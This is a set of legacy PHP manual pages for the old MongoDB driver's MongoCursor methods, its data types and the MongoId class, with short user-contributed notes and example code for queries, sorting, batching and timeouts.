MongoCursor
PHP Manual

MongoCursor::addOption

(PECL mongo >=1.0.4)

MongoCursor::addOption — Adds a top-level key/value pair to a query

Description

public MongoCursor MongoCursor::addOption ( string $key , mixed $value )

This is an advanced function and should not be used unless you know what you're doing.

A query can optionally be nested in a "query" field if other options, such as a sort or hint, are given. For instance, adding a sort causes the query to become a subfield of a bigger query object, like:

<?php

$query = array("query" => $query, "orderby" => $sort);

?>

This method is for adding a top-level field to a query. It makes the query a subobject (if it isn't already) and adds the key/value pair of your chosing to the top level.

Warning

It cannot be used to add extra criteria to a query on the fly. For instance, this will not work:

<?php

// NOT CORRECT
$cursor = $users->find()->addOption("name", "joe")->addOption("age", 20);

?>
This does not query for a user named "joe" with an age of 20.

Parameters

key

Fieldname to add.

value

Value to add.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 MongoCursor::addOption() example

Using MongoCursor::skip() to skip over millions of results can become slow. One way around this is to use $min or $max options for the query. These can be handy, but they require an index on exactly the fields being searched for. This is an example of how to use $min as an alternative to MongoCursor::skip().

<?php

// make sure we have an index
$c->ensureIndex(array("ts" => 1));

// you may have to modify this to run in a reasonable amount of time on slow
// machines (should take about 30 seconds on a good machine)
for ($i = 0; $i < 30000000; $i++) {
    $c->insert(array("ts" => new MongoDate(), "i" => $i));
}

$now = strtotime("now");

// find documents inserted in the last 2 seconds
$cursor = $c->find()->addOption('$min', array("ts" => $now-2));

?>

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor
MongoCursor::batchSize
MongoCursor


Sets the number of results returned per result set

MongoCursor::addOption
MongoCursor::__construct
MongoCursor
PHP Manual

MongoCursor::batchSize

(PECL mongo >=1.0.11)

MongoCursor::batchSize — Sets the number of results returned per result set

Description

public MongoCursor MongoCursor::batchSize ( int $num )

This cannot override MongoDB's limit on the amount of data it will return to the client (i.e., if you set batch size to 1,000,000,000, MongoDB will still only return 4-16MB of results).

To ensure consistent behavior, the rules of batchSize and limit behavior a little complex but work "as expected". The rules are: hard limits override soft limits with preference given to MongoCursor::limit() over MongoCursor::batchSize(). After that, whichever is set and lower than the other will take precedence. Some examples:

<?php

// one batch, at most 20 items
$cursor->limit(-20)->batchSize(10);

// one batch, at most 10 items
$cursor->limit(20)->batchSize(-10);

// first batch: at most 10 items
$cursor->limit(10);

// first batch: at most 10 items
$cursor->limit(10)->batchSize(20);

// first batch: at most 10 items
$cursor->limit(20)->batchSize(10);

$cursor->limit(30)->batchSize(7)
// if we iterate through 28 items, the next call to getNext() will contact the
// database and request a batch of 2 documents

?>

Parameters

num

The number of results to return in the next batch.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating. This will change in 1.0.12, as this should be able to be called at any time.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::addOption
MongoCursor::__construct
MongoCursor


Create a new cursor

MongoCursor::batchSize
MongoCursor::count
MongoCursor
PHP Manual

MongoCursor::__construct

(PECL mongo >=0.9.0)

MongoCursor::__construct — Create a new cursor

Description

public MongoCursor::__construct ( Mongo $connection , string $ns [, array $query = array() [, array $fields = array() ]] )

Parameters

connection

Database connection.

ns

Full name of database and collection.

query

Database query.

fields

Fields to return.

Return Values

Returns the new cursor.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::batchSize
MongoCursor::count
MongoCursor


Counts the number of results for this query

MongoCursor::__construct
MongoCursor::current
MongoCursor
PHP Manual

MongoCursor::count

(PECL mongo >=0.9.2)

MongoCursor::count — Counts the number of results for this query

Description

public int MongoCursor::count ([ bool $foundOnly = FALSE ] )

This method does not affect the state of the cursor: if you haven't queried yet, you can still apply limits, skips, etc. If you have started iterating through results, it will not move the current position of the cursor. If you have exhasted the cursor, it will not reset it.

Parameters

foundOnly

Send cursor limit and skip information to the count function, if applicable.

Return Values

The number of documents returned by this cursor's query.

Examples

Example #1 MongoCursor::count() example

<?php

$collection->insert(array('x'=>1));
$collection->insert(array('x'=>2));
$collection->insert(array('x'=>3));

$cursor = $collection->find();

var_dump($cursor->count());
var_dump($cursor->count(true));

$cursor->limit(2);

var_dump($cursor->count());
var_dump($cursor->count(true));

?>

The above example will output something similar to:

int(3)
int(3)
int(3)
int(2)

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::__construct
MongoCursor::current
MongoCursor


Returns the current element

MongoCursor::count
MongoCursor::dead
MongoCursor
PHP Manual

MongoCursor::current

(PECL mongo >=0.9.0)

MongoCursor::current — Returns the current element

Description

public array MongoCursor::current ( void )

This returns NULL until MongoCursor::next() is called.

Parameters

This function has no parameters.

Return Values

The current result as an associative array.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::count
MongoCursor::dead
MongoCursor


Checks if there are documents that have not been sent yet from the database for this cursor

MongoCursor::current
MongoCursor::doQuery
MongoCursor
PHP Manual

MongoCursor::dead

(PECL mongo >=0.9.6)

MongoCursor::dead — Checks if there are documents that have not been sent yet from the database for this cursor

Description

public bool MongoCursor::dead ( void )

The database sends responses in batches of documents, up to 4Mb of documents per response. This method checks if the database has more batches or if the result set has been exhausted.

A cursor being "dead" does not mean that MongoCursor::hasNext() will return FALSE, it only means that the database is done sending results to the client. The client should continue iterating through results until MongoCursor::hasNext() is FALSE.

Parameters

This function has no parameters.

Return Values

Returns if there are more results that have not been sent to the client, yet.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::current
MongoCursor::doQuery
MongoCursor


Execute the query.

MongoCursor::dead
MongoCursor::explain
MongoCursor
PHP Manual

MongoCursor::doQuery

(No version information available, might only be in SVN)

MongoCursor::doQuery — Execute the query.

Description

protected void MongoCursor::doQuery ( void )

This function actually queries the database. All queries and commands go through this function. Thus, this function can be overridden to provide custom query handling.

This handles serializing your query, sending it to the database, receiving a response, and deserializing it. Thus, if you are planning to override this, your code should probably call out to the original to use the existing functionality (see the example below).

Parameters

This function has no parameters.

Return Values

NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database.

Examples

Example #1 MongoCursor::doQuery() example

You could override this function to attempt a query on a slave and, if that fails, try it again on the master.

<?php

class MyCursor extends MongoCursor {

    protected function doQuery() {

        $this->slaveOkay();

        try {
            MongoCursor::doQuery();
        }
        catch(MongoCursorException $e) {
            $this->slaveOkay(false);
            MongoCursor::doQuery();
        }
    }
}

?>

User Contributed Notes

nodkz at mail.ru 12-Sep-2011 08:27
Does not work for MongoDB Native Driver Version 1.1.0 (version may be seen via phpinfo())
MongoCursor::dead
MongoCursor::explain
MongoCursor


Return an explanation of the query, often useful for optimization and debugging

MongoCursor::doQuery
MongoCursor::fields
MongoCursor
PHP Manual

MongoCursor::explain

(PECL mongo >=0.9.2)

MongoCursor::explain — Return an explanation of the query, often useful for optimization and debugging

Description

public array MongoCursor::explain ( void )

Parameters

This function has no parameters.

Return Values

Returns an explanation of the query.

Examples

Example #1 MongoCursor::explain() example

<?php

$cursor = $collection->find(array("x"=>1), array("y"));
$cursor->sort(array("z" => 1))->limit(4)->skip(5);

var_dump($cursor->explain());

?>

The above example will output something similar to:

array(8) {
  ["cursor"]=>
  string(15) "BtreeCursor x_1"
  ["startKey"]=>
  array(1) {
    ["x"]=>
    int(1)
  }
  ["endKey"]=>
  array(1) {
    ["x"]=>
    int(1)
  }
  ["nscanned"]=>
  float(4)
  ["n"]=>
  int(4)
  ["scanAndOrder"]=>
  int(1)
  ["millis"]=>
  int(3)
  ["allPlans"]=>
  array(2) {
    [0]=>
    array(3) {
      ["cursor"]=>
      string(15) "BtreeCursor x_1"
      ["startKey"]=>
      array(1) {
        ["x"]=>
        int(1)
      }
      ["endKey"]=>
      array(1) {
        ["x"]=>
        int(1)
      }
    }
    [1]=>
    array(3) {
      ["cursor"]=>
      string(11) "BasicCursor"
      ["startKey"]=>
      array(0) {
      }
      ["endKey"]=>
      array(0) {
      }
    }
  }
}

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database.

See Also

MongoDB core docs on » explain.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::doQuery
MongoCursor::fields
MongoCursor


Sets the fields for a query

MongoCursor::explain
MongoCursor::getNext
MongoCursor
PHP Manual

MongoCursor::fields

(PECL mongo >=1.0.6)

MongoCursor::fields — Sets the fields for a query

Description

public MongoCursor MongoCursor::fields ( array $f )

Fields are specified by "fieldname" : bool. TRUE indicates that a field should be returned, FALSE indicates that it should not be returned. You can also use 1 and 0 instead of TRUE and FALSE.

Thus, to return only the "summary" field, one could say:

<?php

$cursor->fields(array("summary" => true));

?>

To return all fields except the "hidden" field:

<?php

$cursor->fields(array("hidden" => false));

?>

Parameters

f

Fields to return (or not return).

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating or a scalar argument is given.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::explain
MongoCursor::getNext
MongoCursor


Return the next object to which this cursor points, and advance the cursor

MongoCursor::fields
MongoCursor::hasNext
MongoCursor
PHP Manual

MongoCursor::getNext

(PECL mongo >=0.9.0)

MongoCursor::getNext — Return the next object to which this cursor points, and advance the cursor

Description

public array MongoCursor::getNext ( void )

This is identical to the function:

<?php

public function getNext() {
    $this->next();
    return $this->current();
}

?>

Parameters

This function has no parameters.

Return Values

Returns the next object.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::fields
MongoCursor::hasNext
MongoCursor


Checks if there are any more elements in this cursor

MongoCursor::getNext
MongoCursor::hint
MongoCursor
PHP Manual

MongoCursor::hasNext

(PECL mongo >=0.9.0)

MongoCursor::hasNext — Checks if there are any more elements in this cursor

Description

public bool MongoCursor::hasNext ( void )

Parameters

This function has no parameters.

Return Values

Returns if there is another element.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::getNext
MongoCursor::hint
MongoCursor


Gives the database a hint about the query

MongoCursor::hasNext
MongoCursor::immortal
MongoCursor
PHP Manual

MongoCursor::hint

(PECL mongo >=0.9.0)

MongoCursor::hint — Gives the database a hint about the query

Description

public MongoCursor MongoCursor::hint ( array $key_pattern )

Parameters

key_pattern

Indexes to use for the query.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::hasNext
MongoCursor::immortal
MongoCursor


Sets whether this cursor will timeout

MongoCursor::hint
MongoCursor::info
MongoCursor
PHP Manual

MongoCursor::immortal

(PECL mongo >=1.0.1)

MongoCursor::immortal — Sets whether this cursor will timeout

Description

public MongoCursor MongoCursor::immortal ([ bool $liveForever = true ] )

After remaining idle for some amount of time, cursor, by default, "die." This is generally the behavior one wants. The database cleans up a cursor once all of its results have been sent to the client, but if the client doesn't request all of the results, the cursor will languish there, taking up resources. Thus, after a few minutes, the cursor "times out" and the database assumes the client has gotten everything it needs and cleans up its the cursor's resources.

If, for some reason, you need a cursor to hang around for a long time, you can prevent the database from cleaning it up by using this method. However, if you make a cursor immortal, you need to iterate through all of its results (or at least until Cursor::dead() returns TRUE) or the cursor will hang around the database forever, taking up resources.

Parameters

liveForever

If the cursor should be immortal.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

blabla at gmail dot com 27-Jan-2011 02:08
driver version 1.0.11
method immortal() seems just do not functioning
use timeout(-1) instead
MongoCursor::hint
MongoCursor::info
MongoCursor


Gets the query, fields, limit, and skip for this cursor

MongoCursor::immortal
MongoCursor::key
MongoCursor
PHP Manual

MongoCursor::info

(PECL mongo >=1.0.5)

MongoCursor::info — Gets the query, fields, limit, and skip for this cursor

Description

public array MongoCursor::info ( void )

This can be called before or after the query.

Parameters

This function has no parameters.

Return Values

Returns the namespace, limit, skip, query, and fields for this cursor.

Changelog

Version | Description
1.0.10 | Added started_iterating field, a boolean indicating if cursor is pre- or post-query.
1.1.0 | Added a number of other fields, including id (the cursor id), at (the driver's counter of which document is current), numReturned (the number returned by the server in the current batch), and server (which server the query was sent to—useful in conjunction with MongoCursor::slaveOkay()).

Examples

Example #1 MongoCursor::info() example

<?php

$m = new Mongo();
$cursor = $m->foo->bar->find(array("x" => 4), array("y" => false));
var_dump($cursor->info());

?>

The above example will output something similar to:

array(5) {
  ["ns"]=>
  string(7) "foo.bar"
  ["limit"]=>
  int(0)
  ["skip"]=>
  int(0)
  ["query"]=>
  array(1) {
    ["x"]=>
    int(4)
  }
  ["fields"]=>
  array(1) {
    ["y"]=>
    int(0)
  }
}

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::immortal
MongoCursor::key
MongoCursor


Returns the current result's _id

MongoCursor::info
MongoCursor::limit
MongoCursor
PHP Manual

MongoCursor::key

(PECL mongo >=0.9.0)

MongoCursor::key — Returns the current result's _id

Description

public string MongoCursor::key ( void )

Parameters

This function has no parameters.

Return Values

The current result's _id as a string.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::info
MongoCursor::limit
MongoCursor


Limits the number of results returned

MongoCursor::key
MongoCursor::next
MongoCursor
PHP Manual

MongoCursor::limit

(PECL mongo >=0.9.0)

MongoCursor::limit — Limits the number of results returned

Description

public MongoCursor MongoCursor::limit ( int $num )

Parameters

num

The number of results to return.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

See Also

MongoDB core docs on » limit.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::key
MongoCursor::next
MongoCursor


Advances the cursor to the next result

MongoCursor::limit
MongoCursor::partial
MongoCursor
PHP Manual

MongoCursor::next

(PECL mongo >=0.9.0)

MongoCursor::next — Advances the cursor to the next result

Description

public void MongoCursor::next ( void )

Parameters

This function has no parameters.

Return Values

NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::limit
MongoCursor::partial
MongoCursor


If this query should fetch partial results from mongos if a shard is down

MongoCursor::next
MongoCursor::reset
MongoCursor
PHP Manual

MongoCursor::partial

(PECL mongo >=1.2.0)

MongoCursor::partial — If this query should fetch partial results from mongos if a shard is down

Description

public MongoCursor MongoCursor::partial ([ bool $okay = true ] )

This option allows mongos to send partial query results if a shard is unreachable. This is only applicable when running a sharded MongoDB cluster and connecting to a mongos.

If a shard goes down and a query needs to be sent to that shard, mongos will return the results (if any) from shards it already contacted, then an error message that it could not reach the shard (a MongoCursorException in PHP). If you would like to get whatever results mongos can provide and no exception, you can use this method. Note that this means that you won't have an indication that a shard is down in your query response.

This has no effect on the query if all shards are reachable. This flag was implemented in MongoDB version 1.7.5, so will only work with that version and higher.

Parameters

okay

If receiving partial results is okay.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::next
MongoCursor::reset
MongoCursor


Clears the cursor

MongoCursor::partial
MongoCursor::rewind
MongoCursor
PHP Manual

MongoCursor::reset

(PECL mongo >=0.9.0)

MongoCursor::reset — Clears the cursor

Description

public void MongoCursor::reset ( void )

Parameters

This function has no parameters.

Return Values

NULL.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::partial
MongoCursor::rewind
MongoCursor


Returns the cursor to the beginning of the result set

MongoCursor::reset
MongoCursor::skip
MongoCursor
PHP Manual

MongoCursor::rewind

(PECL mongo >=0.9.0)

MongoCursor::rewind — Returns the cursor to the beginning of the result set

Description

public void MongoCursor::rewind ( void )

This is identical to the function:

<?php

public function rewind() {
    $this->reset();
    $this->next();
}

?>

Parameters

This function has no parameters.

Return Values

NULL.

Errors/Exceptions

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::reset
MongoCursor::skip
MongoCursor


Skips a number of results

MongoCursor::rewind
MongoCursor::slaveOkay
MongoCursor
PHP Manual

MongoCursor::skip

(PECL mongo >=0.9.0)

MongoCursor::skip — Skips a number of results

Description

public MongoCursor MongoCursor::skip ( int $num )

Parameters

num

The number of results to skip.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::rewind
MongoCursor::slaveOkay
MongoCursor


Sets whether this query can be done on a slave

MongoCursor::skip
MongoCursor::snapshot
MongoCursor
PHP Manual

MongoCursor::slaveOkay

(PECL mongo >=0.9.4)

MongoCursor::slaveOkay — Sets whether this query can be done on a slave

Description

public MongoCursor MongoCursor::slaveOkay ([ bool $okay = true ] )

Calling this will make the driver route reads to slaves if:

  • You are using a replica set and
  • You created a Mongo instance using the option "replicaSet" => true and
  • There is a healthy slave that can be reached by the driver.
You can check which server was used for this query by calling MongoCursor::info() after running the query. It's server field will show which server the query was sent to.

Note that you should use this function even if you do not use the automatic routing to slaves. If you connect directly to a secondary in a replica set, you still need to call this function, which basically tells the database that you are aware that you might be getting older data and you're okay with that. If you do not call this, you'll get "not master" errors when you try to query.

This method will override the static class variable
MongoCursor::slaveOkay.  It will also override
Mongo::setSlaveOkay(),
MongoDB::setSlaveOkay() and
MongoCollection::setSlaveOkay().

Parameters

okay

If it is okay to query the slave.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 MongoCursor::slaveOkay() example

<?php

MongoCursor::$slaveOkay = false;

// cannot query slave
$cursor = $collection->find();

// can query slave
$cursor = $collection->find()->slaveOkay();

MongoCursor::$slaveOkay = true;

// can query slave
$cursor = $collection->find();

// cannot query slave
$cursor = $collection->find()->slaveOkay(false);

?>

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::skip
MongoCursor::snapshot
MongoCursor


Use snapshot mode for the query

MongoCursor::slaveOkay
MongoCursor::sort
MongoCursor
PHP Manual

MongoCursor::snapshot

(PECL mongo >=0.9.4)

MongoCursor::snapshot — Use snapshot mode for the query

Description

public MongoCursor MongoCursor::snapshot ( void )

Use snapshot mode for the query. Snapshot mode assures no duplicates are returned, or objects missed, which were present at both the start and end of the query's execution (if an object is new during the query, or deleted during the query, it may or may not be returned, even with snapshot mode).

Note that short query responses (less than 1MB) are always effectively snapshotted.

Currently, snapshot mode may not be used with sorting or explicit hints.

Parameters

This function has no parameters.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::slaveOkay
MongoCursor::sort
MongoCursor


Sorts the results by given fields

MongoCursor::snapshot
MongoCursor::tailable
MongoCursor
PHP Manual

MongoCursor::sort

(PECL mongo >=0.9.0)

MongoCursor::sort — Sorts the results by given fields

Description

public MongoCursor MongoCursor::sort ( array $fields )

Parameters

fields

An array of fields by which to sort. Each element in the array has as key the field name, and as value either 1 for ascending sort, or -1 for descending sort.

Each result is first sorted on the first field in the array, then (if it exists) on the second field in the array, etc. This means that the order of the fields in the fields array is important. See also the examples section.

Return Values

Returns the same cursor that this method was called on.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 MongoCursor::sort() example

<?php
// Sort on field x, ascending
$cursor->sort(array('x' => 1));

// The order in the associative array is important. For instance, these two
// examples will yield different results:

// Sort on date ascending and age descending
$cursor->sort(array('date' => 1, 'age' => -1));

// Sort on age descending and date ascending
$cursor->sort(array('age' => -1, 'date' => 1));
?>

User Contributed Notes

klgleb at gmail dot com 05-Jul-2011 11:00
Here both arrays are equal

<?php
// sort date ascending and age descending
$cursor->sort(array('date' => 1, 'age' => -1));

// sort age descending and date ascending
$cursor->sort(array('age' => -1, 'date' => 1));
?>
MongoCursor::snapshot
MongoCursor::tailable
MongoCursor


Sets whether this cursor will be left open after fetching the last results

MongoCursor::sort
MongoCursor::timeout
MongoCursor
PHP Manual

MongoCursor::tailable

(PECL mongo >=0.9.4)

MongoCursor::tailable — Sets whether this cursor will be left open after fetching the last results

Description

public MongoCursor MongoCursor::tailable ([ bool $tail = true ] )

Mongo has a feature known as tailable cursors which are similar to the Unix "tail -f" command.

Tailable means cursor is not closed when the last data is retrieved. Rather, the cursor marks the final object's position. you can resume using the cursor later, from where it was located, if more data were received.

Like any "latent cursor", the cursor may become invalid at some point -- for example if that final object it references were deleted. Thus, you should be prepared to requery if the cursor is MongoCursor::dead().

Parameters

tail

If the cursor should be tailable.

Return Values

Returns this cursor.

Errors/Exceptions

Throws MongoCursorException if this cursor has started iterating.

Examples

Example #1 MongoCursor::tailable() example

<?php

$cursor = $collection->find()->tailable();

$results = array();

while (1) {
    if (!$cursor->hasNext()) {
        // we've read all the results, exit
        if ($cursor->dead()) {
            break;
        }
        // read all results so far, wait for more
        sleep(10);
    }
    else {
        $results[] = $cursor->getNext();
    }
}

?>

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::sort
MongoCursor::timeout
MongoCursor


Sets a client-side timeout for this query

MongoCursor::tailable
MongoCursor::valid
MongoCursor
PHP Manual

MongoCursor::timeout

(PECL mongo >=1.0.3)

MongoCursor::timeout — Sets a client-side timeout for this query

Description

public MongoCursor MongoCursor::timeout ( int $ms )

A timeout can be set at any time and will affect subsequent queries on the cursor, including fetching more results from the database. For example, to wait forever for an initial response but timeout after 100 ms for subsequent results, one could say:

<?php

$cursor = $collection->find();

// $cursor->hasNext() executes the query.  No timeout has been set, so the
// program will wait as long as necessary for a response.

while ($cursor->hasNext()) {
    $cursor->timeout(100);

    // now the timeout has been set, so if the cursor needs to get more results
    // from the database, it will only wait 100 ms for the database's reply

    try {
        print_r($cursor->getNext());
    }
    catch(MongoCursorTimeoutException $e) {
        echo "query took too long!";
    }
}

?>

A timeout of 0 (or a negative number) will wait forever so it can be used to reset the cursor if a timeout is no longer needed.

Parameters

ms

The number of milliseconds for the cursor to wait for a response. By default, the cursor will wait forever.

Return Values

This cursor.

Examples

Example #1 MongoCursor::timeout() example

A query where the cursor waits for one second for a response.

<?php

$cursor = $collection->find()->timeout(1000);

try {
  foreach ($cursor as $value) {
    print_r($value);
  }
}
catch(MongoCursorTimeoutException $e) {
  echo "query took too long!";
}

?>

Errors/Exceptions

Causes methods that fetch results to throw MongoCursorTimeoutExceptions if the query takes longer than the number of milliseconds specified.

User Contributed Notes

Robert Ross 21-Apr-2011 11:10
To set timeouts for all queries, do this:

MongoCursor::$timeout = -1 (-1 is no timeout)
MongoCursor::tailable
MongoCursor::valid
MongoCursor


Checks if the cursor is reading a valid result.

MongoCursor::timeout
Types
MongoCursor
PHP Manual

MongoCursor::valid

(PECL mongo >=0.9.0)

MongoCursor::valid — Checks if the cursor is reading a valid result.

Description

public bool MongoCursor::valid ( void )

Parameters

This function has no parameters.

Return Values

If the current result is not null.

User Contributed Notes

There are no user contributed notes for this page.
MongoCursor::timeout
Types
MongoCursor


Types

Table of Contents

  • MongoId
  • MongoCode
  • MongoDate
  • MongoRegex
  • MongoBinData
  • MongoInt32
  • MongoInt64
  • MongoDBRef
  • MongoMinKey
  • MongoMaxKey
  • MongoTimestamp

MongoDB allows programmers to save and query for data expressed in all of the basic PHP types, compound types (arrays, associative arrays, and objects), and a half-dozen classes provided by the MongoDB PHP driver (for regular expressions, dates, and other specialized applications).

Booleans and NULL

TRUE, FALSE, and NULL can be used as-is.

Numbers

Numbers are distinct from strings in MongoDB: "123" does not match 123. Thus, if you want to make sure numbers are sorted and matched correctly, you must make sure that they are actually saved as numbers.

<?php

$doc = array("a" => 123, "b" => "123");
$collection->insert($doc);

$doc->find(array("a" => 123));   // matches
$doc->find(array("a" => "123")); // doesn't match
$doc->find(array("a" => 123.0)); // matches
$doc->find(array("b" => 123));   // doesn't match
$doc->find(array("b" => "123")); // matches

?>

As noted above, floating point numbers do compare with/match integer numbers as one would expect.

Large Numbers

By default, on a 32-bit system, numbers are sent to the database as 32-bit integers. On a 64-bit system, they are sent as 64-bit integers. For backwards compatibility, all systems deserialize 64-bit integers as floating point numbers. Floating point numbers are not exact. If you need exact values, you must tweak your » php.ini settings.

On a 32-bit system, if mongo.long_as_object is set, 64-bit integers will be returns as MongoInt64 objects. The integer will be stored in the value field with perfect precision (as a string). You can also use MongoInt64 to save 64-bit integers on 32-bit machines.

On 64-bit systems, you can either set mongo.long_as_object or set mongo.native_long. mongo.native_long will return 64-bit integers and "normal" PHP integers. You can use MongoInt32 to save 32-bit integers on 64-bit machines.

You should set the mongo.long_as_object and mongo.native_long behavior that you plan to use, even if it is the default behavior (to protect against future changes to the defaults).

See also: » php.ini Options, MongoInt32, MongoInt64.

Strings

Strings must be UTF-8. Non-UTF-8 strings must either be converted to UTF-8 before being sent to the database or saved as binary data.

Regular expressions can be used to match strings, and are expressed using the MongoRegex class.

Binary Data

Non-UTF-8 strings, images, and any other binary data should be sent to the database using the MongoBinData type.

Dates

Dates can be created using the MongoDate class. They are stored as milliseconds since the epoch.

MongoTimestamp is not for saving dates or timestamps, it is used internally by MongoDB. Unless you are creating a tool that interacts with the internals of replication or sharding, you should use MongoDate, not MongoTimestamp.

Unique Ids

The driver will automatically create an _id field before inserting a document (unless one is specified by the user). This field is an instance of MongoId (called "ObjectId" in most other languages).

These ids are 12 bytes long and composed of:

  • 4 bytes of timestamp

    No two records can have the same id if they were inserted at different times.

  • 3 bytes machine id

    No two records can have the same id if they were inserted on different machines

  • 2 bytes thread id

    No two records can have the same id if they were inserted by different threads running on the same machine.

  • 3 bytes incrementing value

    Each time an id is created, a global counter is incremented and used as the increment value of the next id.

Thus, no two records can have the same id unless a single process on a single machine managed to insert 256^3 (over 16 million) documents in one second, overflowing the increment field.

JavaScript

MongoDB comes with a JavaScript engine, so you can embed JavaScript in queries (using a $where clause), send it directly to the database to be executed, and use it to perform aggregations.

For security, use MongoCode's scope field to use PHP variables in JavaScript. Code that does not require external values can either use MongoCode or just be a string. See the » section on security for more information about sending JavaScript to the database.

Arrays and Objects

Arrays and objects can also be saved to the database. An array with ascending numeric keys will be saved as a an array, anything else will be saved as an object.

<?php

// $scores will be saved as an array
$scores = array(98, 100, 73, 85);
$collection->insert(array("scores" => $scores));

// $scores will be saved as an object
$scores = array("quiz1" => 98, "midterm" => 100, "quiz2" => 73, "final" => 85);
$collection->insert(array("scores" => $scores));

?>

If you query for these objects using the database shell, they will look like:

> db.students.find()
{ "_id" : ObjectId("4b06beada9ad6390dab17c43"), "scores" : [ 98, 100, 73, 85 ] }
{ "_id" : ObjectId("4b06bebea9ad6390dab17c44"), "scores" : { "quiz1" : 98, "midterm" : 100, "quiz2" : 73, "final" : 85 } }

The database can also save arbitrary PHP objects (although they will be returned as associative arrays). The fields are used for the key/value pairs. For example, a blog post might look like:

<?php

  // the blog post class
  class Post {

  var $author;
  var $content;
  var $comments = array();
  var $date;

  public function __construct($author, $content) {
  $this->author = $author;
$this->content = $content;
    $this->date = new MongoDate();
  }

  public function setTitle($title) {
    $this->title = $title;
  }
}

// create a simple blog post and insert it into the database
$post1 = new Post("Adam", "This is a blog post");

$blog->insert($post1);

// there is nothing restricting the type of the "author" field, so we can make
// it a nested object
$author = array("name" => "Fred", "karma" => 42);
$post2 = new Post($author, "This is another blog post.");

// we create an extra field by setting the title
$post2->setTitle("Second Post");

$blog->insert($post2);

?>

From the database shell, this will look something like:

> db.blog.find()
{ "_id" : ObjectId("4b06c263edb87a281e09dad8"), "author" : "Adam", "content" : "This is a blog post", "comments" : [ ], "date" : "Fri Nov 20 2009 11:22:59 GMT-0500 (EST)" }
{ "_id" : ObjectId("4b06c282edb87a281e09dad9"), "author" : { "name" : "Fred", "karma" : 42 }, "content" : "This is a blog post", "comments" : [ ], "date" : "Fri Nov 20 2009 11:23:30 GMT-0500 (EST)", "title" : "Second Post" }

The driver will not detect reference loops in arrays and objects. For example, this will give a fatal error:

<?php

$collection->insert($GLOBALS);

?>

Fatal error: Nesting level too deep - recursive dependency?
If you need to insert documents that may have recursive dependency, you have to check for it yourself before passing it to the driver.

User Contributed Notes

Jay Paroline 25-Aug-2010 02:33
With pecl version 1.0.9 of this driver, you can force long support by adding this to your php.ini:

mongo.native_long = 1

see:
http://jira.mongodb.org/browse/PHP-138
and
http://derickrethans.nl/64bit-ints-in-mongodb.html
MongoCursor::valid
MongoId
Mongo


The MongoId class

(No version information available, might only be in SVN)

Introduction

A unique identifier created for database objects. If an object is inserted into the database without an _id field, an _id field will be added to it with a MongoId instance as its value. If the data has a naturally occuring unique field (say, a username or timestamp) it is fine to use this as the _id field instead, and it will not be replaced with a MongoId.

Instances of the MongoId class fulfill the role that autoincrementing does in a relational database: to provide a unique key if the data does not natually have one. Autoincrementing does not work well with a sharded database, as it is impossible to find what the next number should be quickly. This class fulfills the constraints of quickly generating a value that is unique across shards.

Each MongoId is 12 bytes (making its string form 24 hexidecimal characters). The first four bytes are a timestamp, the next three are a hash of the client machine's hostname, the next two are the two least significant bytes of the process id running the script, and the last three bytes are an incrementing value.

MongoIds are serializable/unserializable. Their serialized form is similar to their string form:

C:7:"MongoId":24:{4af9f23d8ead0e1d32000000}

Class synopsis

MongoId {
public string $id = NULL ;
/* Methods */
public __construct ([ string $id = NULL ] )
public static string getHostname ( void )
public int getInc ( void )
public int getPID ( void )
public int getTimestamp ( void )
public static MongoId __set_state ( array $props )
public string __toString ( void )
}

Fields

id
This field contains the string representation of this object.

See Also

MongoDB core docs on » ids.

Table of Contents

  • MongoId::__construct — Creates a new id
  • MongoId::getHostname — Gets the hostname being used for this machine's ids
  • MongoId::getInc — Gets the incremented value to create this id
  • MongoId::getPID — Gets the process id used to create this
